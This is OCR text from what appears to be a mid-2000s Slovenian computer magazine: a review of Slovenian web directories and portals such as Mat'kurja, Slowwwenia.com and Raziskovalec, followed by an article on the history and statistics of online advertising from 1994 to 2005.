dob in navigacijskih sistemov. Upajmo, da nas
ne bodo pri Matkurji presenetili Se tako, da se
bo namesto njihovega imenika prikazala stran
Najdi.si. Zaenkrat so na dobri poti, da se zgodi
tudi to, vsaj Se sodimo po izbiri Iskanje po sple-
tu, ki jo najdemo v zavihku Iskanje. Omenjena
mo?nost ni namred ni¢ drugega kot preusmeri-
tev uporabnika na Googlovo spletno stran.
Neko& paradni slovenski internetni konj si taks-
ne razprodaje ugleda vsekakor ne bi smel dovoliti.
Le kje so tisti ¢asi, ko je bila spletna stran s podobo
kure v slovenski narodni noi, ki jo je leta 1996 na-
risal na$ poznani ilustrator Toma¥ Lavri¢ (nekateri
ga bolj poznate po liku Diareje iz Mladine), v po-
nos vsem slovenskim internetnim uporabnikom.
Namesto da bi v letih, ko so bili pri Mat'kurji e
zelo uspedni, vlagali v razvoj in razvili lastne sto-
ritve, je vse, kar je ostalo od stare kure, v zavihku
Katalog, ki omogoca brskanje po kategorijah, vpis
strani v katalog in pregledovanje novih vpisov.
Vzroke za padanje obiska, ki ga Matkurja beleZi Ze
nekaj let, gre iskati tudi v dogodkih, povezanih z
njeno »divjo privatizacijo«. Mat'kurja je namre¢ iz
varnega akademskega okrilja Instituta Josefa Ste-
fana prisla v roke Eona, ki ga je vodil takrat prevec
ambiciozni bivsi zunanji minister Zoran Thaler.
Ko je Eon po nekaj letih neslavno propadel, je
Mat'kurjo pred dokon&nim pogrebom vsaj za ne-
kaj ¢asa resil Telemach, ki velja za vodilnega po-
nudnika televizijskih storitev in Sirokopasovnega
interneta v Sloveniji.

sw%mm.com

www.slowwwenia.com

Priblizno 25.000 vpisov

Prednosti: Preglednost, kakovostni servisi (e-vosGilnice, mali

oglasi, itd), enotna graficna podoba.

Slabosti: Precej manj vpisanih strani kot pri Mat'kurii
Slowwwenia.com, ki deluje pod okriljem

podjetja Nova Vizija, d.o.o., iz Zalca, je ena

najstarejsih slovenskih internetnih blagovnih
znamk, saj je na trgu Ze od leta 1998. Svoj vr-
hunec je dozivela tako kot Mat'kurja v zlati
dobi spletnih imenikov pred 4-5 leti. Vendar
je leta 2002 mimo obeh imenikov s svetlob-
no hitrostjo §vignil Najdi.si, ki je z iskalnikom
prinesel med slovenske spletne uporabnike
povsem nove razseznosti uporabe spletnih sto-
ritev. Ker se Slowwwenia zaradi finan¢nih in
kadrovskih omejitev ni mogla spopasti z no-
vim tekmecem, se je z majhno razvojno ekipo
posvetila izdelavi uporabnih servisov, ki bi bili
v prvi vrsti funkcionalni in enostavni za upo-
rabo. Tako se je Slowwwenia pocasi iz imenika
spremenila v portal z obilo dodatne vsebine in
kakovostnih servisov, med katerimi izstopajo:
pretvornik valut, mali oglasi, e-vos&ilnice, an-
glesko-slovenski prevajalnik in dnevno sveZe
in s slikami opremeljene novice iz petih raz-
li¢nih virov (STA, Delo, Finance, RTV SLO,
Menart).

Slowwwenia.com pa je kot Ze receno tudi
slovenski spletni imenik z obse?no, urejeno in
dnevno posodabljano zbirko podatkov, v kate-
ri so naslovi in opisi spletnih strani kot tudi
novosti na ¥e vpisanih straneh. Iskalnik na
Slowwwenia.com omogo¢a iskanje med pri-
blirno 25.000 zapisi, ki so jih v zadnjih 7 letih
posredovali lastniki spletnih strani, kot tudi
iskanje med novicami in iskanje po vsebini
malih oglasov.

Pri Slowwwenia.com, kjer e nekaj ¢asa na-
povedujejo novo celostno podobo in vzposta-
vitev iskalnika, ki bi iskal po vseh dokumen-
tih slovenskega spleta, upajo, da bodo lahko
ambiciozne cilje uresnicili s pomocjo precej
povelane razvojne ekipe $e pred koncem leta.
Je to napoved konkurence iskalniku Najdi.si?
Potencial je velik, e zlasti ker bi Slowwwenia.
com ob napovedanemu iskalniku in Ze obsto-
je¢em in urejenem imeniku ter vseh dodatnih
spletnih servisih, ki jih %e zdaj ponujajo (mali
oglasi, vos¢ilnice, novice ...), lahko postala
osrednji slovenski portal in po obisku resen
tekmec iskalniku Najdi.si.
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www.raziskovalec.com ?:‘f»'«f:i-;. o o
Priblizno 13.500 vpisanih strani £S5 S
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Prednosti: Simpaticna oblikovna podoba, pregledno krmarjenje
Slabost: Krajevna omejenost

Raziskovalec.com velja za imenik spletnih
strani krajevnega pomena. Od drugih imeni-
kov razlikuje v tem, da so vpisi spletnih stra-
ni lokalizirani glede na ob¢ino, na katero se
spletna stran navezuje. »Ideja o lokalizaciji
spletnih strani ne nasprotuje osnovnemu na-
menu interneta, ki je 'imeti na dlani ves svet',
temved mu dodaja novo komponento, to je
'imeti na dlani svojo okolico'. S tem izzivom so
se v zadnjih letih zaZeli spopadati tudi najved&ji
svetovni iskalniki, kot so Google (http://local.
google.com/) in Yahoo«, pravi Saso Zigon,
urednik imenika.

Imenik, v katerem je nekaj ved kot 13.000
lokaliziranih vpisov, razporejenih v 193 sloven-
skih obé&in oz. 12 slovenskih regij, je Se zlasti
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uporaben pri iskanju informacij krajevnega po-
mena, npr. obrtnikov, trgovin, $ol, apartmajev ...
Ker so klju¢ne besede, prek katerih obiskovalci
dostopajo na spletno mesto www.raziskovalec.
com, izrazito krajevnega pomena, se za oglase-
vanje na spletnem mestu, ki dnevno pritegne
4000 do 5000 razli¢nih obiskovalcev, zanimajo
predvsem podjetja ali posamezniki, ki ponujajo
storitve v svoji okolici. Kot pravi Saso Zigon, pa
oglasevanje na Raziskovalcu zaenkrat Se ne po-
kriva stroskov vzdrievanja in razvoja spletnega
mesta.

Raziskovalec poleg brezplacnega filtra nepri-
mernih vsebin ponuja $e eno zanimivo storitev,
in sicer moZnost vpisa spletne strani v 15 manj-
$ih slovenskih imenikov (www.raziskovalec.
com/vpisovalec.htm), kar prihrani precej casa,
saj lahko z enega mesta v nekaj sekundah razpo-
$ljemo vpis na vel naslovov. Obiskovalcem sta
na voljo tudi foruma, in sicer iskalni forum, ki je
podprt z mreZo svetovalcev z najrazli¢nejsih po-
drotij, ki zgledno odgovarjajo na vpraganja ob-
iskovalcev, ter forum krajevnega pomena, kjer
lahko ob¢ani posamezne ob&ine razpravljajo o
aktualnem dogajanju v svojem okolju.

»V prihodnosti nacrtujemo sodelovanje z ve¢-
jim Stevilom lokalnih portalov v Sloveniji, ki
bodo na svojih straneh lahko ponujali iskanje po
njihovi ob&ini. Nekaj portalov tovrstno iskanje
preizkusno Ze izvaja«, je o nacrtih za prihodnost
povedal Zigon.

SLOVENSEl SFLETSI POETAL

Unique. ek

WWWw.aaunique.com
11.000 vpisanih strani
Prednosti: Ogromno najrazlicnejSe vsebine in storitev
Slabosti: Nepregledno krmarjenje, neprofiliranost

Po Stevilu vpisov spletnih strani v imenik je
Aaunique najvedji iz sklopa nepreglednih in ne-
profiliranih portalov, ki imajo tezavo s tem kaj,
Se sploh objaviti. Kot zanimivost naj povemo, da
portal ponuja prakti¢no vse, in sicer od divjih
rastlin, lepote, kvizov, te€ajnih list do GSM-lo-
gotipov in kuharskih receptov. Za vsakogar ne-
kaj, bi lahko rekli. V kaosu najrazli¢nejse vsebi-
ne je poglavitno vprasanje, kateri ciljni skupini
je tak$na vrsta portalov sploh namenjena. Ime-
nik, ki bi naj vseboval 11.000 povezav, je precej
skrit, saj do njega vodi povezava prek kategorije
Zabava in podkategorije Povezave. Uporabniki
imenika imajo pregled nad obiskom vpisanih
strani, ki jih lahko tudi ocenjujejo.

)

Www.anvip.com

Priblizno 6.000 vpisanih strani

Prednost: Veliko zabavne vsebine

Slahosti: Nepregledno krmarjenje, neprofiliranost
V okviru imenika si lahko obiskovalci ogle-

dajo sezname priljubljenih povezav, najbolje

ocenjenih povezav in seznam dnevnih novosti.

V primerjavi z vsebinsko podobnimi spletnimi

stranmi (Aaunique.com, Studiofaca.com , Naj-

portal.com) je AnVip po oblikovni plati malce
bolj dodelan, toda kaj ko tudi oni ponujajo vse,
kar je mogoce (Bovice, forume, galerije, moz-
nost prenosa datotek, igre, Sale, oglase, spore-
de, grafite, razglednice ...). Oglejte si dolZino
uvodne strani (merjeno z uporabo navpi¢nega
drsnika), po kateri so absolutni zmagovalci
med vsemi iskalniki in imeniki. To je Zal samo
Se dokaz ve¢, kako zmedene, nepregledne in
uporabniku neprijazne so taksne strani.

www.studiofaca.com
Priblizno 6600 vpisanih strani
Prednosti: Veliko iger in ozadij
Slabosti: Neprofiliranost

Portal, ki ponuja prek 16.000 ozadij za
namizja, Stevilne brezplacne igre, forum, ga-
lerije slik ipd., je med drugim tudi iskalnik, za
katerega se pravzaprav sploh ne ve, po kak3ni
zbirki podatkov is¢e. Uporabniki imajo sicer
moznost vpisa strani, toda kaj ko se imenika
nikjer ne vidi. Skratka, $e en amatersko zasno-
van portal brez repa in glave, ki v osrednjem
delu vstopne strani ponuja tudi dve leti stare
novice. Zdi se, da je najvegja tefava tovrstnih
portalov ravno v tem, da imajo preved idej
in bi se radi na hitro lotili kar vseh naenkrat.
Dokaz za to je tudi izjava urednika strani Sta-
$a Repseta, ki pravi: «Idej nam vsekakor ne
zmanjka. Lahko bi se reklo, da jih je ve¢, kot
bi nam dopus&al &as za njihovo uresnicitev!«
Skoda, da se lastniki tovrstnih strani ne zave-
dajo, da je ravno ta njihova Zelja po ekspanziji
vsebine njihov glavni problem. Namesto, da
bi se profilirali in usmerili na nekaj povezanih
podrocij, ki bi se jim resno posvetili, jih izpi-
lili do konca, kar pomeni da bi ponudili kako-
vostno, obirno in zanimivo vsebino, naredijo
ravno obratno — ponudijo morje nedodelanih
in povr$nih vsebin.

eom

www.NajPortal.com
Blizu 3000 vpisanih strani
Prednosti: Ogromno najrazlicnejSe vsebine in storitev
Slabosti: Nepregledno krmarjenje, neprofiliranost

Ali lahko spletni imenik, kuharske recep-
te, aktualne novice, vice, besedila skladb,
verze, Sale, galerije slik, forume, datoteke,
misli, »plonk listke«, referate, horoskope

slovenski iskalniki in imeniki

&

itd. spravite na skupni imenovalec? Pri po-
rtalu Najportal jim je uspelo ravno to. Toli-
ko najrazli¢nejse vsebine, kot so jo zbrali na
enem kupu, boste nasli le malo kje. Ce vam
je dolgéas in ne veste, katero spletno stran
bi obiskali, boste na Najportalu pravgotovo
nasli kaj zase.

Imenik, ki vsebuje nekaj ve¢ kot 3.000 vpi-
sov, je razdeljen na 14 glavnih kategorij in na
126 podkategorij. Uporabniki lahko izpisane
vpise med drugim razvr§¢ajo po naslovu, Ste-
vilu zadetkov in $tevilu obiskov, poleg tega pa
lahko komentirajo in ocenjujejo posamezne
strani, kar poskrbi za dodatno interaktivnost
spletnega imenika.

»Na§ portal v prvi vrsti ni spletni imenik.
Ta je bolj ali manj le dodatna storitev. Z ogla-
Sevalskimi prihodki celotnega portala smo
trenutno glede na pri¢akovanja zadovoljni,
vedje prihodke pa pri¢akujemo predvidoma
po 1. 12. 2005, ko bo uradno predstavljena
nova razli¢ica celotnega portala. Na§ portal bi
se naj razvijal v Ze uteceni smeri, s ciljem po-
stati najvedji portal po Stevilu obiskovalcev ter
Sirokem spektru vsebin s podrogja informacij
in zabave«, je precej optimisti¢en Tadej Pesl,
skrbnik portala.

www.slowwwenija.com
Priblizno 4000 vpisanih strani
Prednosti: Edini imenik v pravem pomenu besede
Slabosti: Majhno Stevilo vpisov

Jesenigko podjetje Domenca, d.o.o., je last-
nik edinega »&istokrvnega imenika« v Slove-
niji, saj poleg organizirane razvrstitve spletnih
strani ne ponuja dodatnih vsebin ali storitev.
Ceprav dobi imenik na ra¢un podobnega ime-
na s precej bolj poznanim Slowwwenia.com
kar precej dodatnega obiska, pa se z zbirko
vpisanih spletnih strani ne more ravno po-
nafati, saj vsebuje le dobrih 4000 zapisov.
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nadnaslov

direktorij.net/imenik/
Priblizno 1.600 vpisanih strani
Prednosti: preglednost in urejenost
Slabosti: majhno Stevilo vpisov

Enostavna, a simpaténa grafi¢na podoba
imenika, ki poleg preglednega, a skromnega
seznama vpisanih spletnih strani (blizu 1600)
v sklopu spletnega mesta ponuja $e voiilnice,
male oglase in vremensko napoved. Direktorij.
net omogoda tudi pregledovanje najbolj pri-
ljubljenih in najbolje ocenjenih vpisov. Po-
sameznim zapisom v imeniku lahko dodamo
komentar in oceno. Zanimivost imenika je ta,
da se ob kliku na naslov ne odpre spletna stran,
temve podrobne;jsi opis spletne strani, vkljuc-
no s kategorijo, datumom vpisa in povpre¢no
oceno obiskovalcev. V tem razsirjenem pregle-
du ima uporabnik tudi mo?nost, da prijavi ne-
delujoco povezavo ali da spletno stran, katere
opis pravkar pregleduje, priporoc¢i kateremu
izmed svojih prijateljev.

www.krajnc.net
Prednosti:
Slabosti: Jih je preveé, da bi jih sploh nastevali.

Grozna graficna podoba, nepreglednost in
obilje najrazli¢nejsih povezav so glavne zna-
Cilnosti spletne strani Krajnc.net. V nagem
¢lanku jo omenjamo samo zaradi tega, ker po-
nuja moznost vpisa v imenik, ki pa ga nato na
spletni strani sploh ni mo¢ najti. Obiskoval-
cem je tako omogoceno zgolj iskanje po zbir-
ki vpisanih strani, ne pa tudi prek vsebinskih
kategorij.

Www.avenija.com
Priblizno 9.000 vpisanih strani
Prednosti:
Slahosti: Neazurna in zastarela vsebina

Ambiciozno postavljen portal, ki so ga pri
podjetju Studio Moderna popolnoma zanema-
rili. Bolje bi ga bilo »ugasniti«, kot pa na njem
objavljati novice o tem, kako je Bush odpravil
sankcije proti Srbiji in Crni gori iz leta 2003.
Zadnja vpisan novost v imeniku, ki vsebuje
priblizno 9000 zapisov, sega v november 2004.

www.oloplan.com
Prednosti:
Slabosti: Nedelujo iskalnik 5
Slika Oloplana je, milo re¢ena, porazna. Se
toliko bolj zaradi tega, ker se je Oloplan oklical
za slovenski iskalni stroj. Resnica in realnost
pa je ta, da iskalnik sploh ne deluje in da lahko
na omenjenem spletnem mestu poleg seznama
dnevno vpisanih spletnih strani najdemo le 3e
vremensko napoved, te¢aje treh valut, $tiri za-
starele povzetke novic, vsebino zadnjih dveh
oddanih oglasov in nekaj povezav.
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desetletje spletnega oglasevanja

Ce je pred dobrim desetletjiem le malokdo vedel za internet in ga tudi uporabljal, pa bi
danes v razvitem svetu tezko nasli osebo, ki Se ni slisala za internet. Se vec, obstaja
kar nekaj drzav, kjer so uporabniki interneta vecina prebivalstva.

PiSe: RadoS Skrt
rados.skrt@mojmikro.si

o podatkih podjetja Nielsen//NetRa-
tings je stopnja penetracije najvisja na
Svedskem, kjer internet uporablja 74 %
prebivalstva, na drugem mestu so ZDA
z nekaj manj kot 70 %, Slovenija je z 41 %
dale¢ za Nemcijo (56 %) in Avstrijo (57 %),
a npr. pred Spanijo (33 %) in Grtijo (34 %).
Noben medij vse od ¢rno-bele televizije ni
tako hitro dosegel 50 % penetracije ameriskih
gospodinjstev kot ravno internet. Tako inter-
net kot TV sta za ta dose¥ek potrebovala 8 let.
(Pri internetu se za¢ne komercialna uporaba
z letom 1993 in rojstvom Mosaica kot prve-
ga graficnega spletnega brskalnika.) Radio je
potreboval 9 let, videorekorder 10 let, osebni
raunalniki 17 let, kabelska televizija 39 let,
telefon pa 70 let. Podobno hitro, kot se razvija
internet (tako z vidika tehnologije kot z vidika
Stevila uporabnikov), pa se razvija tudi njegov
stranski produkt — spletno oglaSevanje.

Pomemben korak pri razvoju interneta se je
zgodil leta 1993, ko je bil razvit prvi grafi¢ni
spletni brskalnik — Mosaic. Ta je povzrocil, da
se je besedilni na¢in uporabe svetovnega spleta
umaknil grafi¢nemu, s ¢imer so spletne strani
dobile povsem novo podobo in razsenost — po-
stale so zanimive oglasevalcem. Grafi¢ni brskal-
nik je tako postavil temelje za rojstvo spletnega
oglaSevanija, ki se je dejansko zgodilo leto pozne-
je, in sicer jeseni leta 1994, ko je bila na spletni
strani podjetjia Hotwired (danes Wired News v
lasti podjetja Lycos) prodana prva oglasna pasica

Hawve you evar clicked

your mowse right HEREF - = Il
Ena prvih spletnih pasic v zgodovini

(banner). Podjetja, ki so prva razumela koncept
oglafevanja v internetu in so v novem mediju
videla priloznost za svoje poslovanje, so bila med
prvimi oglaSevalci. Med imeni prvih spletnih
oglasevalcev se tako pojavijo podjetja, kot so
AT&T, MCI, Sprint, Volvo.

Prvi dve leti spletnega oglaSevanja sta bili
pravzaprav zelo zmedeni, saj je imela skoraj
vsaka spletna stran svoje mere oglasevalskega

prostora, zaradi Cesar so se morali oglaSevalci s
svojimi kreativnimi reSitvami prilagajati vsake-
mu spletnemu zalo?niku posebej, kar jim je se-
veda vzelo veliko dragocenega ¢asa in energije,
po nepotrebnem pa jim je zviSevalo tudi stroske
oglasnih akcij. Seveda ni preteklo veliko vode,
da so tako spletni zalozniki kot oglasevalci prisli
do spoznanja, da je treba na podro¢ju spletnega
oglafevanja ¢imprej nekaj korenito spremeniti.
Tako sta se decembra leta 1996 z namenom
konsolidacije spletnega oglasevalskega trga in
poenotenja velikosti oglasnih povrSin sestali
organizaciji CASIE (Coalition for Adverti-
sing Supported Information) in IAB (Inter-
active Advertising Bureau) in sprejeli standar-
de, ki so opredelili mo#ne velikosti oglasnega

&

prostora, namenjenega pasicam. Z opredelit-
vijo standardnih mer spletnih oglasov, ki jih
od takrat naprej dolo¢a standard IAB/CASIE
(www.iab.net), so tako postavili temelje splet-
nemu oglagevanju, ki je z ureditvijo razmer do-
%ivelo nov zagon. Ob tem je treba poudariti,
da uporaba standardiziranih pasi¢nih velikosti,
ki se merijo v pikah (pixel) po nacelu »$irina
x vi§ina«, ni obvezna, je pa priporo¢ljiva, saj
vetina spletnih medijev ponuja oglasni pros-
tor, ki upo$teva omenjene standarde. Med naj-
bolj priljubljenimi so bile v tistem &asu pasice
velikosti 468 x 60, sledile so jim pasice veliko-
sti 233 x 30 in 120 x 60.

Na spletnem trgu so se vzpostavili razli¢ni
modeli zakupa oglasnega prostora, odvisno
pac od ponudbe in cenovne politike posamez-
nega spletnega medija. Tako so se lahko ogla-
Sevalci srecali z zakupom oglasnega prostora
po fiksni ceni za doloéeno obdobje, z zaku-
pom §tevila klikov na oglasno pasico (CNK -
cena na klik) ali pa dolo¢enega $tevila prika-
zov oglasa (CNO - cena na ogled). Redkeje
se je uporabljal model zakupa glede na uéinek,
kamor IAB poleg zakupa oglasov glede na $te-
vilo klikov priteva tudi zakup glede na $tevi-
lo izvedenih akcij na spletni strani naro¢nika
oglasa (npr. prijava na novice, nakup izdelka,
registracija uporabnika, izpolnitev ankete).

1998 1999 2000 2001 2002 2003 2004
Kombinirani model zakupa 54 52 45 42 34 20 17
Zakup Stevila prikazov 40 4 43 45 45 43 42
Zakup Stevila izvedenih akcij 6 7 12 13 21 37 4

Delezi posameznih oblik zakupa oglasnega prostora od 1998-2004 \/ir: IAB
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Med modeli zakupa oglasnega prostora je v
drugi polovici prej$njega desetletja prevladoval
z vec kot polovi¢nim dele?em kombinirani mo-
del (kombinacija zakupa po Stevilu prikazov in
klikov oz. akcij). Model zakupa oglasnega pros-
tora glede na $tevilo prikazov je imel priblizno
40 % delez, le priblizno 5 % oglaSevalcev pa je
uporabljalo model zakupa glede na $tevilo klikov
oz. izvrSenih akcij na spletni strani. Za prvo pet-
letko spletnega oglasevanja je znacilno tudi do,
da so med razli¢nimi oblikami internetnega ogla-
Sevanja dale¢ najbolj prevladovale pasice, ki so
zavzemale ve& kot 50 % dele?, sledila so sponzor-
stva, ki so imela v povpre¢ju 40 % dele?.

Kljub hitri rasti Stevila internetnih uporabni-
kov in spletnih strani ter nara§¢anju vrednosti
spletnega oglagevanja pa je bilo zatetno obdobje
spletnega oglasevanja zaznamovano s Stevilnimi
tefavami in za vedino spletnih medijev sploh ni
bilo tako roznato, kot se zdi na prvi pogled. Do
leta 1997 je bilo namre¢ kar tri &etrtine ogla-
Sevalskega kolaca porazdeljeno med 10 najbolj
obiskanih strani. Zaradi nezrelosti trga, nepo-
znavanja interneta kot medija in pomanjkljivega
znanja (oglaSevalci denimo niso imeli pojma o
tem, kako se naj lotijo spletnega oglasevanja) so
se morali spletni mediji kréevito truditi, da so
premaknili tradicionalne oglasevalce iz ustalje-
nih kalupov in da so jih prepricali, da se splaa
oglaSevati v internetu.

Pri tem je treba poudariti, da se tudi sami
oglaevalci niso mogli kaj prida zanesti na svo-
je marketinske agencije, saj je bilo tudi pri njih
vel kot ogitno nepoznavanje novega medija. Za-
radi pomanjkanja znanja in nasploh zanimanja,
da bi agencije preusmerile del svojih projektov
v internet, je internetno oglaSevanje potrebo-
valo toliko ¢asa za svoj pravi zagon in rast. Po-
trebna sta bila namre¢ nenehno izobrazevanje
trga ter poudarjanje prednosti, ki jih inter-
netno oglagevanje prinafa. Spletnim medijem
so pri prepri¢evanju potencialnih oglasevalcev
bili v veliko pomo¢ konkretni primeri in Stevil-
ne raziskave, ki so se ukvarjale s preu¢evanjem
ucinkovitosti spletnega oglasevanja. Na sreco
so v tistem obdobju spletne oglaSevalske akcije
v primerjavi z zdaj$njimi Casi dosegale nadpov-
pre¢no ucinkovitost, merjeno v odstotkih kli-
kov na oglas (click through rate — CTR), kar je
pomenilo, da so imeli lastniki spletnih strani v
rokah dobro vabo za pridobivanje oglagevalcev.

Prva petletka spletnega oglaSevanja je bila za-
znamovana z obdobjem izjemne rasti, saj se je
vrednost oglaSevanja vsako leto za nekajkrat po-
velala (leta 1997 za 239 % v primerjavi z letom
poprej, leta 1998 za 112 %, leta 1999 pa je bila
za 141 % vegja kot leta 1998). Kljub izjemni
rasti pa je vrednost spletnega oglasevanja prese-
gla prvo milijardo dolarjev Sele leta 1998. Leto
pozneje je bil doseZen prvi ve&ji preboj, saj se
je vrednost spletnega oglagevanja podvojila, in
sicer s slabih 2 milijard dolarjev na 4,6 milijarde

(glej sliko 3).
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Gibanje vrednosti spletnega oglaSevanja v letih 1997 2004

Vir: PricewaterhouseCoopers

V kontekstu podanih $tevilk in njihove boljse
predstave so zanimivi izsledki raziskave podjetja
DoubleClick, ki je primerjal oglasevalske pri-
hodke med tremi mediji: klasi¢no televizijo, in-
ternetom in kabelsko televizijo. Pod lupo so vzeli
prvih deset let trfenja oglasnega prostora za vsak
posamezen medij, in sicer vrednost internetne-
ga oglaSevanje v letih 1995-2004, televizijskega
oglaSevanja v letih 1949-1958 in oglasevanja
prek kabelske televizije v letih 1980-1989. Pri-
merjava med mediji je pokazala, da je vrednost
internetnega oglasevanje e po treh letih pre-
segla kabelskega in da je internetno oglaSevanje
potrebovalo pet let, da je doseglo vrednost tele-
vizijskega oglaSevanja.

Zaletek novega tisocletja je bil zaznamovan z
nadaljnjo rastjo vrednosti spletnega oglasevanja
(8 milijard ob koncu leta 2000), a s pomembno
spremembo, saj se je trend po obdobju neneh-
ne rasti konec leta obrnil navzdol. Gospodarska
recesija na prehodu tiso¢letja in prenapihnjen
internetni balon, sta povzrotila propad stevil-
nih internetnih podjetij in s tem seveda tudi
padec vrednosti oglaSevanja. Negativni trend,
ki se je zaCel konec leta 2000, se je nadaljeval
vse do druge polovice leta 2002, ko je po poda-
tkih organizacij [AB in PricewaterhouseCoopers
znagala letna vrednost internetnega oglagevanja
6 milijard dolarjev, kar je za 15 % manj v primer-
javi z letom poprej in 25 % manj kot leta 2000.
Oglagevalski primat na spletnih straneh so zae-
la prevzemati ve&ja podjetja. Medtem ko sta bili
leta 2000 med najve&jimi spletnimi oglasevalci
le dve podjetji s seznama 500 najvedjih podjet-
jih revije Fortune, je bila leta 2002 polovica od
20 najved&jih spletnih oglasevalcev (med drugim
podjetja, kot so Amazon.com, Estee Lauder, SBC
Communications, General Motors in Barnes &
Noble) uvri¢ena na seznam Fortune 500. Zadnje
Cetrtletje leta 2003 je bilo z 2,2 milijarde prihod-
kov sicer rekordno, a je na letni ravni vrednost
spletnega oglaSevanja s 7,2 milijarde dolarjev e
vedno zaostajala za letom 2000 (glej sliko 2).

Vzroke za »bikov trend« na podroéju spletne-
ga oglasevanja, ki se je zaCel pred tremi leti, gre
iskati predvsem v izhodu podjetij iz gospodarske
recesije, vse ve¢jem pomenu interneta, boljse-
mu znanju s podrodja internetnega poslovanja,
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vse daljem Casu, ki ga upo-
rabniki prebijejo v inter-
netu, vecjih oglasevalskih
povriinah, ki so prinesle v
spletno oglasevanje nove
razseznosti, ter seveda v
vedjemu Stevilu oglaseval-
cev. Ce so se v prvi petletki
spletnega oglaSevanja pod-
jetja sprafevala predvsem
»Zakaj sploh oglasevati v
internetu’«, pa se podjetja
z vse vedjo integracijo in-
terneta v trfenjsko-komu-
nikacijski splet zdaj spradujejo predvsem »Kako
nastopati v spletu in kako u¢inkovito izkoristiti
komunikacijski, transakcijski in distribucijski
potencial, ki ga internet ponuja’«.

Za leto 2004 bi lahko rekli, da se je spletno
ogladevanje dokonéno izkopalo iz krize, celo veg,
v primerjavi z letom poprej je naraslo za 33 %
in konec leta s 9,6 milijarde dolarjev doseglo
rekordno vrednost v desetletni zgodovini. Poro-
&ilo organizacij IAB in PricewaterhouseCoopers
pravi, da se pozitivni trendi nadaljujejo tudi le-
tos, saj so podjetja v prvem Cetrtletju namenila
internetnemu oglasevanju 2,8 milijarde dolarjev
oziroma 26 % ve& kot v istem obdobju lanskega
leta. V Veliki Britaniji so po podatkih raziska-
ve podjetij Interactive Advertising Bureau UK
in PricewaterhouseCoopers oglasevalci v letu
2004 prvi¢ v zgodovini porabili vet sredstev za
internetno (3,9-odstotni dele? v celotnem ogla-
Sevalskem kolacu) kot za radijsko oglasevanje

(3,8%).
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Zaradi te?nje oglasevalcev po ved&jih formatih
oglasnih pasic, ki bi jim dopuscale vegjo izbiro
kreativnih mo#nosti ter zagotavljale ve&jo opa-
Yenosti oglasov, in zaradi razvoja internetnih po-
vezav, ki so omogocale hitrejsi prenos podatkov,
je v zaletku letu 2001 organizacija IAB sprejela
priporocila za nove, ve¢je formate spletnih pa-
sic. Uveljavile so se predvsem navpi¢ne pasice,
imenovane neboti¢niki (skyscrapers) velikosti
120 x 600 in 160 x 600, jumbo pasice dimen-
zij 250 x 250 in obogateni (rich-media) oglasi.
Kljub opaznemu trendu veéanja dimenzij oglas-
nega prostora na spletnih straneh so v prvih letih
novega tiso¢letja Se vedno prevladovale klasi¢ne
oblike oglasov, dokler jih niso leta 2003 iz pre-
stola vrgle sponzorirane povezave v iskalnikih,
na kar sta v najvedji meri vplivali izjemna pri-
ljubljenost in uporaba iskalnika Google.

Dele? klasi¢nih oglasnih pasic in sponzorstev
je iz leta v leto ob¢utno manjsi. Hitro se pove-
uje oglasevanje, povezano s klju¢nimi beseda-
mi, saj so oglasevalci spoznali, da gre za cenovno
ugoden in u¢inkovit nacin oglagevanja. Medtem
ko se je dele? oglasevanja po klju¢nih besedah
povecal s 35 % v letu 2003 na 40 % v letu 2004,
so se oglaSevalski prihodki, povezani z zakupom
klju¢nih besed, v istem obdobju povecali kar za
50 % ,in sicer z 2,5 milijarde na 3,9 milijarde do-
larjev. V zadnjih dveh letih se je podvojil tudi
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dele? obogatenih oglasov, ki so imeli v prete-
klem letu 10 % dele? (glej tabelo 2). Njihova
vloga pa je dejansko veliko ve&ja, saj so po poda-
tkih podjetja Nielsen//NetRatings imeli kar 35%
dele? med vsemi prikazanimi spletnimi oglasi. Se
posebe;j veljajo za priljubljeno obliko oglasevanja
med telekomunikacijskimi podjetji in podjetji iz
avtomobilske industrije, kjer imajo ve& kot pol-
ovicen dele? med vsemi prikazanimi oglasi.

1997 1998 1999
Oglasne pasice 54 % 56 % 56 %
Sponzorstva 4 % 30 % 27 %
Mali oglasi (classified)
Kljuéne besede
Vrinjene strani (interstitial ) 2% 5% 4%
Oglasevanje prek e-poste 1% 2 %

Obogateni oglasi (rich media)

pripada televiziji, ki je imela v lanskem kolatu
59-odstotni dele?. Sledijo revije z 11 odstotki,
dnevniki z 10 odstotki, 6 odstotkov ima radio,
po 5-odstotni dele? imajo plakati in priloge
dnevnikov, odstotek manj ¢asopisi, 1 odstotek
dosega internet (leta 2002 je imel 0,8-odstotni
dele?, leta 2001 pa 0,4-odstotni). Bruto vrednost
internetnega oglasevanja je tako lani znagala 750
milijonov tolarjev.

2000 2001 2002 2003 2004
48 % 36 % 29 % 21 % 19 %
28 % 26 % 18 % 10 % 8%
7% 16 % 15 % 17 % 18 %
1% 4% 15 % 35% 40 %
4% 3% 5% 2%

3% 3% 4% 3% 1%
2% 2% 5% 8% 10 %

Delezi posameznih oglasnih oblik od leta 1997-2004 Vir: IAB

Kakor v razvitem svetu se tudi v Sloveniji vse
hitreje uveljavljajo napredne;jsi oglasni formati,
saj se oglaSevalci zavedajo, da je v neprestanem
boju za pozornost potrosnikov tem treba vedno
ponuditi kaj novega. Ker imajo povrh vsega na-
predne;jsi oglasi (raztegljivi oglasi, lebdeéi oglasi,
video oglasi ...) tudi veliko ve&jo odzivnost, si
tako spletni zalozniki kot oglasevalci prizadevajo
stare oglasne oblike v najvecji meri zamenjevati
z novimi. Po podatkih podjeta Iprom, specializi-
ranega za spletno medijsko naértovanje, organi-
zacijo in izvedbo oglaSevalskih akcij s spletnimi
oglasi, so agencije in naro¢niki z uporabo pro-
gramske opreme Iprom AD Server, ki mese¢no
po standardu [AB dosega v povpre&ju 850.000
uporabnikov slovenskih spletnih medijev, v
prvi polovici leta 2005 izvedli 64 % spletnih
oglasevalskih akcij s klasi¢nimi pasicami, 36 %
oglasnih akcij pa z multimedijskimi oglasi (rich
media, video oglasi).

Dele? internetnega oglasevanja v celotnem
oglagevalskem kola¢u v ZDA vztrajno raste.
Medtem ko je leta 1999 dosegal 2 % delez, je
imelo internetno oglasevanje v preteklem letu Ze
5,4 % odstotni dele, kar je skoraj petkrat ved
kot v Sloveniji, kjer je dele? internetnega oglase-
vanja na prav mizerni ravni; pribliZzno takni, kot
s0 jo imeli Ameri¢ani pred sedmimi leti. Da pa se
ne bi ves ¢as primerjali samo z ZDA pa omenimo,
da znaga dele? spletnega oglasevanja v oglageval-
skem kolatu na Svedskem
%e slabih 8 odstotkov. 0% 1o

